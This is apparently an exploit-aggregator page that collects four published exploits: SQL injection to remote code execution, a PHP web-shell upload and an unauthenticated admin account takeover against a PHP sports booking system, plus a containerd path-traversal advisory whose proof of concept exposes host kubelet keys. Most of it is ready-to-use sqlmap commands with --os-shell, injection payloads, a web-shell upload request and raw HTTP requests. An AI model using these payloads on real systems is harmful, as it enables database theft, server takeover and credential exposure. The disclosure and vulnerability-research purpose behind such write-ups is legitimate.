Latest exploits :: CodePwn

<pre><code># Title: Sports Complex Booking System 1.0 Blind SQLi To Rce # Author: Hejap Zairy # Date: 24.07.2022 # Vendor: https://www.sourcecodester.com/php/15236/online-sports-complex-booking-system-phpmysql-free-source-code.html # Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/scbs_1.zip # Reference: https://github.com/Matrix07ksa # Tested on: Windows, MySQL, Apache #vulnerability Code php ```php if(isset($_GET['id']) && $_GET['id'] > 0){ $qry = $conn->query("SELECT f.*, c.name as category from `facility_list` f inner join category_list c on f.category_id = c.id where f.id = '{$_GET['id']}' "); if($qry->num_rows > 0){ foreach($qry->fetch_assoc() as $k => $v){ $$k=stripslashes($v); } } }``` #Status: CRITICAL ``` Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: p=view_facility&id=4' AND 1013=1013-- aQIm Type: error-based Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: p=view_facility&id=4' OR (SELECT 7626 FROM(SELECT COUNT(*),CONCAT(0x71716a7671,(SELECT (ELT(7626=7626,1))),0x71787a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- SkTl Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: p=view_facility&id=4' AND (SELECT 5013 FROM (SELECT(SLEEP(5)))lCeY)-- pdUo --- ``` #Blind SQLi Time to Rce #ُExploit sqlmap -u 'http://0day.gov/scbs/?p=view_facility&id=4' --hex --time-sec=17 --dbms=mysql --technique=t --random-agent --eta -p id -D scbs -T users --dump --os-shell # Description: The Blind Time SQLi vulnerability was converted to rce due to the permissions I have in the database and it was privesc # Proof and Exploit: https://i.imgur.com/nY9GR9F.png </code></pre>

<pre><code># Title: Sports Complex Booking System 1.0 Shell Upload # Author: Hejap Zairy # Date: 24.07.2022 # Vendor: https://www.sourcecodester.com/php/15236/online-sports-complex-booking-system-phpmysql-free-source-code.html # Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/scbs_1.zip # Reference: https://github.com/Matrix07ksa # Tested on: Windows, MySQL, Apache registered user can bypass waf upload .php.png files in attachments section with use of intercept tool in burbsuite to edit the raw #vulnerability Code php Needs more filtering to upload profile files php``` window.displayImg = function(input,_this) { if (input.files && input.files[0]) { var reader = new FileReader(); reader.onload = function (e) { $('#cimg').attr('src', e.target.result); _this.siblings('.custom-file-label').html(input.files[0].name) } reader.readAsDataURL(input.files[0]); }else{ $('#cimg').attr('src', "<?php echo validate_image(isset($image_path) ? $image_path : "") ?>"); _this.siblings('.custom-file-label').html("Choose file") } } ``` [+] Payload POST ``` POST /scbs/?p=manage_account HTTP/1.1 Host: 0day.gov Cookie: PHPSESSID=2vah9hmhjf85ichdav814rhcgu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------409902128312379197203124536738 Content-Length: 882 Origin: https://0day.gov Referer: https://0day.gov/scbs/ Upgrade-Insecure-Requests: 1 Te: trailers Connection: close -----------------------------409902128312379197203124536738 Content-Disposition: form-data; name="productName" Hejap Zairy -----------------------------409902128312379197203124536738 Content-Disposition: form-data; name="productimage1"; filename="0day_hejap.php" Content-Type: image/png <?=`$_GET[515]`?> -----------------------------409902128312379197203124536738 Content-Disposition: form-data; name="submit" -----------------------------409902128312379197203124536738-- ``` #Status: CRITICAL [+] Payload GET ``` GET /scbs/dist/img/0day_hejap.php?515=echo%200day%20hejap%20Zairy HTTP/1.1 Host: 0day.gov Cookie: PHPSESSID=2vah9hmhjf85ichdav814rhcgu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Upgrade-Insecure-Requests: 1 Te: trailers Connection: close ``` #Response ``` HTTP/1.1 200 OK Date: Sun, 20 Mar 2022 08:04:28 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/7.4.27 X-Powered-By: PHP/7.4.27 Content-Length: 17 Connection: close Content-Type: text/html; charset=UTF-8 0day hejap Zairy ``` # Description: The file upload bypass WAF vulnerability occurs when the user uploads an executable script file, and through the script file to obtain the ability to execute server-side commands. This attack is the most direct and effective, sometimes having almost no technical barriers. # Proof and Exploit: https://i.imgur.com/us3lA1l.png </code></pre>

<pre><code># Exploit Title: Online Sports Complex Booking System - Account Takeover (Unauthenticated) # Date: 24/03/2022 # Exploit Author: Saud Alenazi # Vendor Homepage: https://www.sourcecodester.com/ # Software Link: https://www.sourcecodester.com/php/15236/online-sports-complex-booking-system-phpmysql-free-source-code.html # Version: 1.0 # Tested on: XAMPP, Linux # Description : Online Sports Complex Booking System is vulnerable to unauthenticated account takeover. An attacker can takeover any registered 'Staff' user account by just sending below POST request By changing the the "id", "firstname", "lastname" , "username" , "password" ,"type" parameters # Steps to Reproduce : 1. Send the below POST request by changing "id", "firstname", "lastname" , "username" , "password" parameters. 2. Go to http://localhost/scbs/admin/ and Log in to the user account by changed username and password ====== POST /scbs/classes/Users.php?f=save HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------11619114222641896828949561514 Content-Length: 811 Origin: http://localhost Connection: close Referer: http://localhost/scbs/admin/?page=user Cookie: PHPSESSID=2knksvuc4mgojfd9enhccg08sn -----------------------------11619114222641896828949561514 Content-Disposition: form-data; name="id" 1 -----------------------------11619114222641896828949561514 Content-Disposition: form-data; name="firstname" Adminstrator -----------------------------11619114222641896828949561514 Content-Disposition: form-data; name="lastname" Admin -----------------------------11619114222641896828949561514 Content-Disposition: form-data; name="username" admin -----------------------------11619114222641896828949561514 Content-Disposition: form-data; name="password" admin -----------------------------11619114222641896828949561514 Content-Disposition: form-data; name="img"; filename="" Content-Type: application/octet-stream -----------------------------11619114222641896828949561514-- </code></pre>

<pre><code>containerd: Insecure handling of image volumes containerd's cri plugin handles image volumes containing path traversals insecurely. This can be used to copy arbitrary host directories to a container-mounted path. OCI images contain a JSON config file described in https://github.com/opencontainers/image-spec/blob/main/config.md. As part of this config, an image can specify \u"Volumes\u" which describe \u2018where the process is likely to write data specific to a container instance' when the image is used to run a container. When this configuration is converted into an OCI runtime config, containerd tries to follow the spec at https://github.com/opencontainers/image-spec/blob/main/conversion.md: \u"Implementations SHOULD provide mounts for these locations such that application data is not written to the container's root filesystem. If a converter implements conversion for this field using mountpoints, it SHOULD set the destination of the mountpoint to the value specified in Config.Volumes. An implementation MAY seed the contents of the mount with data in the image at the same location\u" The seeding is implemented in (*criService).CreateContainer (cri/server/container_create.go) var volumeMounts []*runtime.Mount if !c.config.IgnoreImageDefinedVolumes { // Create container image volumes mounts. volumeMounts = c.volumeMounts(containerRootDir, config.GetMounts(), &image.ImageSpec.Config) } else if len(image.ImageSpec.Config.Volumes) != 0 { .... } func (c *criService) volumeMounts(..) .. var mounts []*runtime.Mount \u2026 for dst := range config.Volumes { \u2026 volumeID := util.GenerateID() src := filepath.Join(containerRootDir, \"volumes\", volumeID) mounts = append(mounts, &runtime.Mount{ ContainerPath: dst, HostPath: src, SelinuxRelabel: true, }) } return mounts } Image volume mounts are only supported if IgnoreImageDefinedVolumes is false. While the description mentions that this flag is \u"Useful for better resource isolation, security\u2026\u" the default is false and none of the major containerd users seems to overwrite this. So in the default config, c.VolumeMounts will be called to create new runtime.Mount entries for all Volumes listed in the image config. There is no validation of the listed paths and the .ContainerPath attribute is completely image/attacker controlled. Later in the execution, the harmless HostPaths and the attacker controlled ContainerPaths are passed to the customopts.WithVolumes method. While the HostPath is cleaned, ContainerPath is passed through without changes: if len(volumeMounts) > 0 { mountMap := make(map[string]string) for _, v := range volumeMounts { mountMap[filepath.Clean(v.HostPath)] = v.ContainerPath } opts = append(opts, customopts.WithVolumes(mountMap)) } The WithVolumes function (pkg/cri/opts/container.go) now tries to copy all files that are under ContainerPath in the container rootfs to the temporary directory at HostPath that will be later mounted into the Container at the same location (This is the optional \u"seeding\u" step described in the spec): for host, volume := range volumeMounts { // The volume may have been defined with a C: prefix, which we can't use here. volume = strings.TrimPrefix(volume, \"C:\") for _, mountPath := range mountPaths { src := filepath.Join(mountPath, volume) if _, err := os.Stat(src); err != nil { if os.IsNotExist(err) { // Skip copying directory if it does not exist. continue } \u2026 } if err := copyExistingContents(src, host); err != nil { \u2026 } volume is the fully attacker controlled ContainerPath, mountPath a host directory pointing to a part of the containers rootfs. By setting volume to a path like \u"/../../../../../../../../../etc\u", src will become \u"/etc\u" and the copyExistingContents function in the last line will recursively copy the /etc/directory to host. As the directory specified by host will later be mounted into the container, this gives the container full read access to arbitrary files and directories. Suggested Fix: mountMap[filepath.Clean(v.HostPath)] = filepath.Clean(v.ContainerPath) should be sufficient to fix the issue. (But it might be reasonable to surface/log misbehaving images?) Proof-of-Concept: fwilhelm ~ % buildah inspect volumes-test | jq '.OCIv1.config.Volumes' { \"/../../../../../../../../var/lib/kubelet/pki/\": {} } fwilhelm ~ % kubectl run shell --rm -i --tty --image europe-west3-docker.pkg.dev/[redacted]/test/volumes-test -- /bin/sh / # mount | grep /var/lib/kubelet /dev/root on /var/lib/kubelet/pki type ext4 (rw,relatime) / # ls -la /var/lib/kubelet/pki/ total 20 drwxrwxrwt 2 root root 4096 Nov 12 15:54 . drwxr-xr-x 3 root root 4096 Nov 12 15:54 .. -rw-r--r-- 1 root root 1135 Nov 4 08:59 kubelet-client.crt -rw------- 1 root root 227 Nov 4 08:59 kubelet-client.key -rw------- 1 root root 0 Nov 4 08:59 kubelet-client.lock -rw------- 1 root root 1496 Nov 4 08:59 kubelet-server-2021-11-04-08-59-06.pem lrwxrwxrwx 1 root root 59 Nov 4 08:59 kubelet-server-current.pem -> /var/lib/kubelet/pki/kubelet-server-2021-11-04-08-59-06.pem Let me know if you need access to the POC image, I did not want to spam the full list with it. This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2022-02-21. For more details, see the Project Zero vulnerability disclosure policy: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html Related CVE Numbers: CVE-2022-23648. Found by: fwilhelm@google.com </code></pre>